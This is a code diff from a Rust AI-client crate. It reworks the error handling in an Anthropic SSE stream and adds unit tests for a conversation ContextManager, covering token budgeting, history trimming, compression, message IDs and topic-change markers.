Ok(events) => {
|
||||||
// GLM 中途 error(如 1214)→ chunk.error 附 messages 摘要,经 stream_recv MidStream
|
for data in events {
|
||||||
// 路径 emit AiError raw,前端直接看到实际 messages 结构定位非法字段。
|
let mut chunk = apply_anthropic_event(&data, &mut usage_accum);
|
||||||
if let Some(err) = chunk.error.as_mut() {
|
if let Some(err) = chunk.error.as_mut() {
|
||||||
*err = format!("{} | messages 摘要: {}", err, messages_summary);
|
*err = format!("{} | messages 摘要: {}", err, messages_summary);
|
||||||
}
|
}
|
||||||
Ok(chunk)
|
chunks.push(Ok(chunk));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
// 保留 #[source] 因果链: anyhow!("...{}", e) 仅把 e 的 Display 塞进 message,
|
|
||||||
// 丢掉 source(无法 downcast/遍历)。改用 Error::from(e).context(...):
|
|
||||||
// Display 不变(仍为 "Anthropic SSE 错误: {e}"), 且 e 作为 .source() 可追溯。
|
|
||||||
// 顺序: 先 format(e) 构造 context 文案, 再 Error::from(e) move e 进 source。
|
|
||||||
let ctx = format!("Anthropic SSE 错误: {}", e);
|
let ctx = format!("Anthropic SSE 错误: {}", e);
|
||||||
error!(error = %e, "Anthropic SSE 事件流错误");
|
error!("{}", ctx);
|
||||||
Err(anyhow::Error::from(e).context(ctx))
|
chunks.push(Err(anyhow::anyhow!("{}", ctx)));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
futures::stream::iter(chunks)
|
||||||
});
|
});
|
||||||
|
|
||||||
Ok(Box::pin(stream))
|
Ok(Box::pin(stream))
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
719
crates/df-ai/src/context/manager_tests.rs
Normal file
719
crates/df-ai/src/context/manager_tests.rs
Normal file
@@ -0,0 +1,719 @@
|
|||||||
|
//! `ContextManager` 方法级单测 — 从 `mod.rs` 抽出以控制 `mod.rs` 行数。
|
||||||
|
//!
|
||||||
|
//! 这些测试覆盖 `ContextManager` 各公开/私有方法(push / build_for_request / compress /
|
||||||
|
//! topic marker / 溯源 id 等),需访问私有字段与方法,故仍置于 `crate::context` 模块树内
|
||||||
|
//! (`mod manager_tests;` 由 `mod.rs` 通过 `#[cfg(test)] mod manager_tests;` 引入)。
|
||||||
|
|
||||||
|
#![cfg(test)]
|
||||||
|
|
||||||
|
use super::*;
|
||||||
|
use crate::context_helpers::{ContextConfig, TokenEstimator, PROTECT_COUNT};
|
||||||
|
use crate::provider::ToolCall;
|
||||||
|
|
||||||
|
fn cfg(max_tokens: u32) -> ContextConfig {
|
||||||
|
ContextConfig {
|
||||||
|
max_tokens,
|
||||||
|
output_reserve: 0,
|
||||||
|
safety_ratio: 1.0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn estimate_message_counts_parts_tokens() {
|
||||||
|
// F-260614-05 多模态回归:含图消息的大段 base64 必须计入 token 预算,
|
||||||
|
// 否则 history_tokens 严重低估 → build_for_request 不裁剪 → provider 超限。
|
||||||
|
let est = TokenEstimator::default();
|
||||||
|
|
||||||
|
// 纯文本基线
|
||||||
|
let text_msg = ChatMessage::user("短文本");
|
||||||
|
let text_tokens = est.estimate_message(&text_msg);
|
||||||
|
|
||||||
|
// 同样 content + 含大段 base64 的 parts → token 应显著高于纯文本
|
||||||
|
let big_base64 = "iVBORw0KGgoAAAANS".repeat(100); // ~1.7k 字符
|
||||||
|
let multimodal = ChatMessage::user_parts(
|
||||||
|
"短文本",
|
||||||
|
vec![crate::provider::ContentPart::image_base64("image/png", big_base64.clone())],
|
||||||
|
);
|
||||||
|
let mm_tokens = est.estimate_message(&multimodal);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
mm_tokens > text_tokens,
|
||||||
|
"含图消息 token({}) 应高于纯文本({})",
|
||||||
|
mm_tokens,
|
||||||
|
text_tokens
|
||||||
|
);
|
||||||
|
// base64 字符按 0.35 粗估,约 1.7k * 0.35 ≈ 595 tokens 量级
|
||||||
|
assert!(
|
||||||
|
mm_tokens > 500,
|
||||||
|
"大 base64 应贡献可观 token,实际 {}",
|
||||||
|
mm_tokens
|
||||||
|
);
|
||||||
|
|
||||||
|
// url 模式(无字节)也按 URL 长度估算,不爆
|
||||||
|
let url_msg = ChatMessage::user_parts(
|
||||||
|
"t",
|
||||||
|
vec![crate::provider::ContentPart::image_url("https://example.com/x.png")],
|
||||||
|
);
|
||||||
|
let url_tokens = est.estimate_message(&url_msg);
|
||||||
|
assert!(url_tokens > text_tokens, "url 片也应有少量 token 贡献");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn short_history_no_trim() {
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("你好"));
|
||||||
|
mgr.push(ChatMessage::assistant("你好啊"));
|
||||||
|
let (msgs, trimmed) = mgr.build_for_request(10);
|
||||||
|
assert!(!trimmed);
|
||||||
|
assert_eq!(msgs.len(), 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn over_budget_trims_old() {
|
||||||
|
// 小预算强制裁剪:20 条超预算,触发裁剪且保留保护区
|
||||||
|
let mut mgr = ContextManager::new(cfg(200));
|
||||||
|
// user/assistant 交替(真实对话序列;连续 user 会被 ensure_sequence_legal 合并,无法测条数裁剪)
|
||||||
|
for i in 0..20 {
|
||||||
|
if i % 2 == 0 {
|
||||||
|
mgr.push(ChatMessage::user(&format!("这是第 {} 条较长的消息用于撑爆预算", i)));
|
||||||
|
} else {
|
||||||
|
mgr.push(ChatMessage::assistant(&format!("第 {} 条较长的回复用于撑爆预算", i)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||||
|
assert!(trimmed, "超预算应触发裁剪");
|
||||||
|
assert!(msgs.len() < 20, "应裁掉部分旧消息, 实际 {}", msgs.len());
|
||||||
|
|
||||||
|
// 保护区:最新一条必保留(末条 i=19 是 assistant)
|
||||||
|
assert_eq!(
|
||||||
|
msgs.last().unwrap().content,
|
||||||
|
"第 19 条较长的回复用于撑爆预算",
|
||||||
|
"保护区最新消息被误裁"
|
||||||
|
);
|
||||||
|
|
||||||
|
// 裁剪是视图:内存全量不变
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 20, "裁剪污染了内存全量");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tool_triplet_kept_atomic() {
|
||||||
|
// 三元组不可分离:Head 与 Tail 同进同出,永不从中间切断
|
||||||
|
// 布局:6 旧(淘汰区) + 三元组(裁剪边界) + 6 新(保护区) = 15 条
|
||||||
|
let mut mgr = ContextManager::new(cfg(95));
|
||||||
|
for i in 0..6 {
|
||||||
|
mgr.push(ChatMessage::user(&format!("旧消息 {}", i)));
|
||||||
|
}
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调工具",
|
||||||
|
vec![ToolCall::new("tc1", "read_file", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("tc1", "文件内容"));
|
||||||
|
mgr.push(ChatMessage::assistant("完成"));
|
||||||
|
for i in 0..6 {
|
||||||
|
mgr.push(ChatMessage::user(&format!("新消息 {}", i)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分支一:预算宽松,三元组整体保留 → Head 在则 Tail 在
|
||||||
|
let (msgs_keep, trimmed1) = mgr.build_for_request(0);
|
||||||
|
assert!(trimmed1, "分支一应触发裁剪");
|
||||||
|
assert_eq!(
|
||||||
|
has_head(&msgs_keep),
|
||||||
|
has_tail(&msgs_keep),
|
||||||
|
"分支一三元组被切断: head={} tail={}",
|
||||||
|
has_head(&msgs_keep),
|
||||||
|
has_tail(&msgs_keep)
|
||||||
|
);
|
||||||
|
|
||||||
|
// 分支二:预算紧张,三元组整体丢弃 → Head 不在则 Tail 也不在
|
||||||
|
let (msgs_drop, trimmed2) = mgr.build_for_request(40);
|
||||||
|
assert!(trimmed2, "分支二应触发裁剪");
|
||||||
|
assert_eq!(
|
||||||
|
has_head(&msgs_drop),
|
||||||
|
has_tail(&msgs_drop),
|
||||||
|
"分支二三元组被切断: head={} tail={}",
|
||||||
|
has_head(&msgs_drop),
|
||||||
|
has_tail(&msgs_drop)
|
||||||
|
);
|
||||||
|
|
||||||
|
// 裁剪是视图:两次 build 都不应改变内存全量
|
||||||
|
assert_eq!(
|
||||||
|
mgr.all_messages_clone().len(),
|
||||||
|
15,
|
||||||
|
"裁剪污染了内存全量"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn has_head(msgs: &[ChatMessage]) -> bool {
|
||||||
|
msgs.iter()
|
||||||
|
.any(|m| matches!(m.role, MessageRole::Assistant) && m.tool_calls.is_some())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn has_tail(msgs: &[ChatMessage]) -> bool {
|
||||||
|
msgs.iter().any(|m| matches!(m.role, MessageRole::Tool))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn replace_tool_result_updates_tokens() {
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::tool_result("tc1", "短"));
|
||||||
|
let before = mgr.history_tokens();
|
||||||
|
assert!(mgr.replace_tool_result_content("tc1", "这是一个明显更长的替换内容用于验证 token 重估"));
|
||||||
|
let after = mgr.history_tokens();
|
||||||
|
assert!(after > before);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn restore_rebuilds_token_cache() {
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
let src = vec![
|
||||||
|
ChatMessage::user("测试消息一"),
|
||||||
|
ChatMessage::assistant("回复一"),
|
||||||
|
ChatMessage::user("测试消息二"),
|
||||||
|
];
|
||||||
|
mgr.restore_from_messages(src);
|
||||||
|
assert!(mgr.history_tokens() > 0);
|
||||||
|
assert_eq!(mgr.len(), 3);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn push_token_only_active() {
|
||||||
|
// F-15 §3.3:!active 消息(truncated / archived_segment / compressed)仍 push
|
||||||
|
// 到 self.messages(全量保留,持久化/前端视图自管),但不计入 history_tokens,
|
||||||
|
// 避免 build_for_request 误判超预算触发不必要裁剪。
|
||||||
|
|
||||||
|
// 1) 直接 push 路径
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
let active_msg = ChatMessage::user("这条是 active 的");
|
||||||
|
let active_tokens = TokenEstimator::default().estimate_message(&active_msg);
|
||||||
|
let mut inactive_msg = ChatMessage::assistant("这条被截断了不该计 token");
|
||||||
|
inactive_msg.status = Some(MessageStatus::Truncated);
|
||||||
|
let inactive_tokens = TokenEstimator::default().estimate_message(&inactive_msg);
|
||||||
|
|
||||||
|
mgr.push(active_msg);
|
||||||
|
mgr.push(inactive_msg);
|
||||||
|
|
||||||
|
// 全量保留(两条都在内存)
|
||||||
|
assert_eq!(mgr.len(), 2, "active + !active 都应 push 到 self.messages");
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 2, "持久化全量不受 push 修正影响");
|
||||||
|
// token 预算只含 active
|
||||||
|
assert_eq!(
|
||||||
|
mgr.history_tokens(),
|
||||||
|
active_tokens,
|
||||||
|
"history_tokens 应只含 active,多算了 {}(inactive 应被忽略)",
|
||||||
|
mgr.history_tokens().saturating_sub(active_tokens)
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
inactive_tokens > 0,
|
||||||
|
"前提:inactive 消息本身确有 token,否则无法证明它被排除"
|
||||||
|
);
|
||||||
|
|
||||||
|
// 2) restore_from_messages 路径(调 push,token 同步仅 active)
|
||||||
|
let mut mgr2 = ContextManager::new(cfg(100_000));
|
||||||
|
let mut a = ChatMessage::user("active 一");
|
||||||
|
a.status = Some(MessageStatus::Active);
|
||||||
|
let mut b = ChatMessage::user("archived 一");
|
||||||
|
b.status = Some(MessageStatus::ArchivedSegment);
|
||||||
|
let mut c = ChatMessage::user("compressed 一");
|
||||||
|
c.status = Some(MessageStatus::Compressed);
|
||||||
|
mgr2.restore_from_messages(vec![a, b, c]);
|
||||||
|
|
||||||
|
assert_eq!(mgr2.len(), 3, "restore 后全量保留三条");
|
||||||
|
// 只 active 一条计 token(b/c 是白名单外状态,is_active 返回 false)
|
||||||
|
let only_active_tokens = TokenEstimator::default()
|
||||||
|
.estimate_message(&ChatMessage::user("active 一"));
|
||||||
|
assert_eq!(
|
||||||
|
mgr2.history_tokens(),
|
||||||
|
only_active_tokens,
|
||||||
|
"restore 后 history_tokens 应只含 active 一条,archived/compressed 不计"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn empty_history_returns_empty() {
|
||||||
|
let mgr = ContextManager::new(cfg(100_000));
|
||||||
|
let (msgs, trimmed) = mgr.build_for_request(10);
|
||||||
|
assert!(!trimmed);
|
||||||
|
assert!(msgs.is_empty(), "空历史应返回空列表");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn protect_zone_returns_full_when_untrimmable() {
|
||||||
|
// 消息全在保护区(< PROTECT_COUNT 条)且超预算 → 无可淘汰单元,走 trim_end==0 兜底返回全量
|
||||||
|
let mut mgr = ContextManager::new(cfg(10));
|
||||||
|
mgr.push(ChatMessage::user("撑爆小预算的长消息内容"));
|
||||||
|
mgr.push(ChatMessage::assistant("第二条撑爆预算的长消息"));
|
||||||
|
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||||
|
assert!(!trimmed, "无可淘汰单元应返回 false(兜底)");
|
||||||
|
assert_eq!(msgs.len(), 2, "兜底 sanitize 后返回全部保护区消息(user/assistant 交替不合并)");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn system_over_budget_trims_to_protect_zone() {
|
||||||
|
// system prompt 吃光预算 → history 仍尝试裁剪到保护区,不 panic
|
||||||
|
let mut mgr = ContextManager::new(cfg(200));
|
||||||
|
for i in 0..10 {
|
||||||
|
mgr.push(ChatMessage::user(&format!("消息 {} 撑量", i)));
|
||||||
|
}
|
||||||
|
let (msgs, _trimmed) = mgr.build_for_request(195);
|
||||||
|
assert!(
|
||||||
|
msgs.len() <= PROTECT_COUNT,
|
||||||
|
"system 超预算时裁剪后至多保留保护区 {} 条,实际 {}",
|
||||||
|
PROTECT_COUNT,
|
||||||
|
msgs.len()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── F-15 阶段1 辅助方法单测 ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn compress_old_messages_marks_compressed_and_returns_refs() {
|
||||||
|
// F-15 §4.2/§4.3:compress_old_messages 把 [0, end) 内 active 消息标 compressed,
|
||||||
|
// 同步扣 history_tokens,返回它们的克隆供 LLM 摘要。持久化全量保留。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("旧消息1"));
|
||||||
|
mgr.push(ChatMessage::assistant("旧回复1"));
|
||||||
|
mgr.push(ChatMessage::user("新消息2"));
|
||||||
|
let tokens_before = mgr.history_tokens();
|
||||||
|
assert!(tokens_before > 0);
|
||||||
|
|
||||||
|
let compressed = mgr.compress_old_messages(2);
|
||||||
|
assert_eq!(compressed.len(), 2, "应压缩前 2 条 active");
|
||||||
|
assert_eq!(compressed[0].content, "旧消息1");
|
||||||
|
assert_eq!(compressed[1].content, "旧回复1");
|
||||||
|
|
||||||
|
// status 已改 compressed
|
||||||
|
assert_eq!(mgr.messages_mut()[0].message.status.as_ref(), Some(&MessageStatus::Compressed));
|
||||||
|
assert_eq!(mgr.messages_mut()[1].message.status.as_ref(), Some(&MessageStatus::Compressed));
|
||||||
|
// 保护区外(本例 index 2)仍 active
|
||||||
|
assert!(mgr.messages_mut()[2].message.is_active(), "保护区外消息不应被动");
|
||||||
|
|
||||||
|
// 持久化全量不变
|
||||||
|
assert_eq!(mgr.all_messages_clone().len(), 3, "compress 不应删消息(单向,全量保留)");
|
||||||
|
|
||||||
|
// token 已扣(剩第 3 条的)
|
||||||
|
let only_third_tokens = TokenEstimator::default().estimate_message(&ChatMessage::user("新消息2"));
|
||||||
|
assert_eq!(mgr.history_tokens(), only_third_tokens, "history_tokens 应扣除前两条");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn compress_old_messages_is_idempotent() {
|
||||||
|
// 幂等:已 compressed 不二次压缩,二次调用返回空 Vec 且 history_tokens 不再变。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("a"));
|
||||||
|
mgr.push(ChatMessage::user("b"));
|
||||||
|
|
||||||
|
let first = mgr.compress_old_messages(2);
|
||||||
|
assert_eq!(first.len(), 2);
|
||||||
|
let tokens_after_first = mgr.history_tokens();
|
||||||
|
|
||||||
|
let second = mgr.compress_old_messages(2);
|
||||||
|
assert!(second.is_empty(), "二次压缩应返回空(已 compressed 不重压)");
|
||||||
|
assert_eq!(
|
||||||
|
mgr.history_tokens(),
|
||||||
|
tokens_after_first,
|
||||||
|
"二次压缩 history_tokens 不应再变(幂等)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn compress_old_messages_clamps_oversized_end() {
|
||||||
|
// compress_end 越界自动 clamp 到 len,不 panic。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("唯一"));
|
||||||
|
let compressed = mgr.compress_old_messages(999);
|
||||||
|
assert_eq!(compressed.len(), 1, "越界 end 应 clamp 到 len(1)");
|
||||||
|
assert_eq!(mgr.history_tokens(), 0, "全量压缩后 history_tokens 归零");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn compress_old_messages_skips_already_inactive() {
|
||||||
|
// 范围内含 truncated(已 !active)的消息:跳过,不返,不重复扣 token。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
let mut truncated = ChatMessage::user("被截断");
|
||||||
|
truncated.status = Some(MessageStatus::Truncated);
|
||||||
|
mgr.push(truncated);
|
||||||
|
mgr.push(ChatMessage::user("active 一条"));
|
||||||
|
let tokens_before = mgr.history_tokens();
|
||||||
|
// truncated 已不计 token(见 push_token_only_active),所以 tokens_before 只含 active 一条
|
||||||
|
|
||||||
|
let compressed = mgr.compress_old_messages(2);
|
||||||
|
assert_eq!(compressed.len(), 1, "只压缩 active 那条,truncated 跳过");
|
||||||
|
assert_eq!(mgr.history_tokens(), 0);
|
||||||
|
assert_eq!(
|
||||||
|
mgr.history_tokens(),
|
||||||
|
tokens_before.saturating_sub(tokens_before),
|
||||||
|
"幂等扣除:truncated 本就没计 token,active 扣光"
|
||||||
|
);
|
||||||
|
// truncated 状态不被改成 compressed(保留原 truncated,语义不混淆)
|
||||||
|
assert_eq!(
|
||||||
|
mgr.messages_mut()[0].message.status.as_ref(),
|
||||||
|
Some(&MessageStatus::Truncated),
|
||||||
|
"已 truncated 不应被改写为 compressed"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn has_compressible_messages_respects_protect_zone() {
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
for i in 0..8 {
|
||||||
|
mgr.push(ChatMessage::user(&format!("消息 {}", i)));
|
||||||
|
}
|
||||||
|
// protect_start=6 → [0,6) 内有 active → true
|
||||||
|
assert!(mgr.has_compressible_messages(6));
|
||||||
|
// protect_start=0 → 空范围 → false
|
||||||
|
assert!(!mgr.has_compressible_messages(0));
|
||||||
|
// 全部压缩后 → false
|
||||||
|
mgr.compress_old_messages(6);
|
||||||
|
assert!(!mgr.has_compressible_messages(6), "全 compressed 后不应有可压缩消息");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn is_compressing_flag_round_trip() {
|
||||||
|
// 标志位读写 round-trip;clear() 复位。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
assert!(!mgr.is_compressing(), "默认 false");
|
||||||
|
mgr.set_compressing(true);
|
||||||
|
assert!(mgr.is_compressing(), "set true 后应读到 true");
|
||||||
|
mgr.set_compressing(false);
|
||||||
|
assert!(!mgr.is_compressing(), "set false 后复位");
|
||||||
|
// clear 复位
|
||||||
|
mgr.set_compressing(true);
|
||||||
|
mgr.clear();
|
||||||
|
assert!(!mgr.is_compressing(), "clear() 应复位 is_compressing");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn insert_at_adds_to_budget_when_active() {
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("a"));
|
||||||
|
let tokens_before = mgr.history_tokens();
|
||||||
|
|
||||||
|
// 插入 active system 消息 → 计入 token
|
||||||
|
mgr.insert_at(0, ChatMessage::system("## 摘要"));
|
||||||
|
assert!(mgr.history_tokens() > tokens_before, "active 消息应计入 token");
|
||||||
|
assert_eq!(mgr.len(), 2);
|
||||||
|
assert_eq!(mgr.messages_mut()[0].message.content, "## 摘要");
|
||||||
|
|
||||||
|
// 插入 !active 消息 → 不计入 token
|
||||||
|
let tokens_before_inactive = mgr.history_tokens();
|
||||||
|
let mut inactive = ChatMessage::user("x");
|
||||||
|
inactive.status = Some(MessageStatus::Truncated);
|
||||||
|
mgr.insert_at(0, inactive);
|
||||||
|
assert_eq!(
|
||||||
|
mgr.history_tokens(),
|
||||||
|
tokens_before_inactive,
|
||||||
|
"!active 消息插入不应计 token"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn build_eviction_units_keeps_triplet_atomic_public() {
|
||||||
|
// 公开的 build_eviction_units:三元组(Head + Tail + Standalone Assistant)应落同一单元。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("前置"));
|
||||||
|
mgr.push(ChatMessage::assistant_with_tools(
|
||||||
|
"调",
|
||||||
|
vec![ToolCall::new("c1", "fn", "{}")],
|
||||||
|
));
|
||||||
|
mgr.push(ChatMessage::tool_result("c1", "结果"));
|
||||||
|
mgr.push(ChatMessage::assistant("完成"));
|
||||||
|
mgr.push(ChatMessage::user("后置"));
|
||||||
|
// protect_start=5(全部纳入)
|
||||||
|
let units = mgr.build_eviction_units(5);
|
||||||
|
// 第一个单元是前置 Standalone(end=1);第二个单元应包含三元组三件套 + 后置应分开
|
||||||
|
// 确认三元组的 Head+Tail+Assistant 在同一单元(end 跳过 3)
|
||||||
|
let unit2 = units.iter().find(|u| u.end >= 4).expect("应有跨三元组的单元");
|
||||||
|
assert!(
|
||||||
|
unit2.end >= 4,
|
||||||
|
"三元组三件套应在同一淘汰单元, end={}",
|
||||||
|
unit2.end
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── F-260619-04 P1 消息级溯源:last_assistant/last_user message_id ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn last_assistant_message_id_returns_latest() {
|
||||||
|
// 多条 assistant,反向扫描取末条 id(本轮 AI 产出的载体)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("问1"));
|
||||||
|
let first = push_and_get_id(&mut mgr, ChatMessage::assistant("答1"));
|
||||||
|
mgr.push(ChatMessage::user("问2"));
|
||||||
|
let last = push_and_get_id(&mut mgr, ChatMessage::assistant("答2"));
|
||||||
|
// 末条 assistant id 应是 last(非 first)
|
||||||
|
assert_eq!(
|
||||||
|
mgr.last_assistant_message_id().as_deref(),
|
||||||
|
Some(last.as_str()),
|
||||||
|
"应取末条 assistant id, 而非首条"
|
||||||
|
);
|
||||||
|
assert_ne!(
|
||||||
|
mgr.last_assistant_message_id().as_deref(),
|
||||||
|
Some(first.as_str())
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn last_user_message_id_returns_latest() {
|
||||||
|
// 多条 user,反向扫描取末条 id(触发本轮检索的 user)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("问1"));
|
||||||
|
mgr.push(ChatMessage::assistant("答1"));
|
||||||
|
let last_user = push_and_get_id(&mut mgr, ChatMessage::user("问2"));
|
||||||
|
assert_eq!(
|
||||||
|
mgr.last_user_message_id().as_deref(),
|
||||||
|
Some(last_user.as_str())
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn last_message_id_none_when_no_such_role() {
|
||||||
|
// 无 assistant → None;无 user → None
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("只有 user"));
|
||||||
|
assert!(
|
||||||
|
mgr.last_assistant_message_id().is_none(),
|
||||||
|
"无 assistant 消息应返 None"
|
||||||
|
);
|
||||||
|
|
||||||
|
let mut mgr2 = ContextManager::new(cfg(100_000));
|
||||||
|
mgr2.push(ChatMessage::assistant("只有 assistant"));
|
||||||
|
assert!(
|
||||||
|
mgr2.last_user_message_id().is_none(),
|
||||||
|
"无 user 消息应返 None"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn last_message_id_none_for_legacy_no_id() {
|
||||||
|
// 老数据反序列化消息 id=None → 返 None(向前兼容,溯源降级 conv: 旧格式)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
let mut legacy = ChatMessage::assistant("老消息无 id");
|
||||||
|
legacy.id = None;
|
||||||
|
mgr.push(legacy);
|
||||||
|
assert!(
|
||||||
|
mgr.last_assistant_message_id().is_none(),
|
||||||
|
"老消息无 id 应返 None(向前兼容)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// helper:push 一条消息并返回其 id(测试用,确认取到的是该消息自身 id)
|
||||||
|
fn push_and_get_id(mgr: &mut ContextManager, message: ChatMessage) -> String {
|
||||||
|
let id = message.id.clone();
|
||||||
|
mgr.push(message);
|
||||||
|
id.expect("新构造消息必有 id")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── [P2 改进5] 主题切换检测(保守,双高置信才标) ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_triggers_on_two_different_high_conf_topics() {
|
||||||
|
// 双高置信:两条 user 消息各自 intent 置信 >= 0.7 且不同 topic → 置位 marker。
|
||||||
|
// "帮我重构这段代码"(Code, conf=1.0) + "创建项目并绑定目录"(Project, conf=1.0)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("帮我重构这段代码"));
|
||||||
|
// 此时只有一条 user,无 marker
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "首条 user 不触发 marker");
|
||||||
|
mgr.push(ChatMessage::user("创建项目并绑定目录"));
|
||||||
|
let marker = mgr.take_topic_marker()
|
||||||
|
.expect("双不同 topic 应置位 marker");
|
||||||
|
assert!(marker.contains("code"), "old topic 应为 code, 实际: {}", marker);
|
||||||
|
assert!(marker.contains("project"), "new topic 应为 project, 实际: {}", marker);
|
||||||
|
// take 后清空(幂等)
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "take 后应清空");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_not_triggered_on_same_topic() {
|
||||||
|
// 同 topic(code/code)→ 不置位(非切换)。
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("重构这段代码"));
|
||||||
|
mgr.push(ChatMessage::user("再重构另一段代码"));
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "同 topic 不应触发 marker");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_not_triggered_when_either_topic_none() {
|
||||||
|
// 保守:任一 topic 为 None(低置信未标)不置位。
|
||||||
|
// "今天的天气不错"(Unknown, conf=0.0 → topic=None) + "重构代码"(Code, conf 高)
|
||||||
|
let mut mgr = ContextManager::new(cfg(100_000));
|
||||||
|
mgr.push(ChatMessage::user("今天的天气不错啊"));
|
||||||
|
mgr.push(ChatMessage::user("帮我重构这段代码"));
|
||||||
|
assert!(mgr.take_topic_marker().is_none(), "前一条 topic None 不应触发 marker(保守)");
|
||||||
|
|
||||||
|
// 反向:前一条高置信 + 后一条低置信
|
||||||
|
let mut mgr2 = ContextManager::new(cfg(100_000));
|
||||||
|
mgr2.push(ChatMessage::user("帮我重构这段代码"));
|
||||||
|
mgr2.push(ChatMessage::user("嗯嗯好的"));
|
||||||
|
assert!(mgr2.take_topic_marker().is_none(), "后一条 topic None 不应触发 marker(保守)");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn topic_marker_not_polluting_compression_or_trim() {
|
||||||
|
// topic 字段不参与裁剪/压缩(只检测):超预算裁剪 + 压缩后消息仍正常,
|
||||||
|
// topic 标记独立工作。push 足量消息撑爆小预算触发裁剪。
|
||||||
|
let mut mgr = ContextManager::new(cfg(80));
|
||||||
|
for i in 0..10 {
|
||||||
|
mgr.push(ChatMessage::user(&format!("重构代码第 {} 条长消息撑爆预算", i)));
|
||||||
|
}
|
||||||
|
mgr.push(ChatMessage::user("创建项目并绑定目录")); // Project topic → marker
|
||||||
|
let _ = mgr.take_topic_marker(); // 消费 marker(topic 不影响裁剪)
|
||||||
|
// 裁剪仍正常工作(topic 字段不参与裁剪逻辑)
|
||||||
|
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||||
|
assert!(trimmed);
|
||||||
|
assert!(!msgs.is_empty());
|
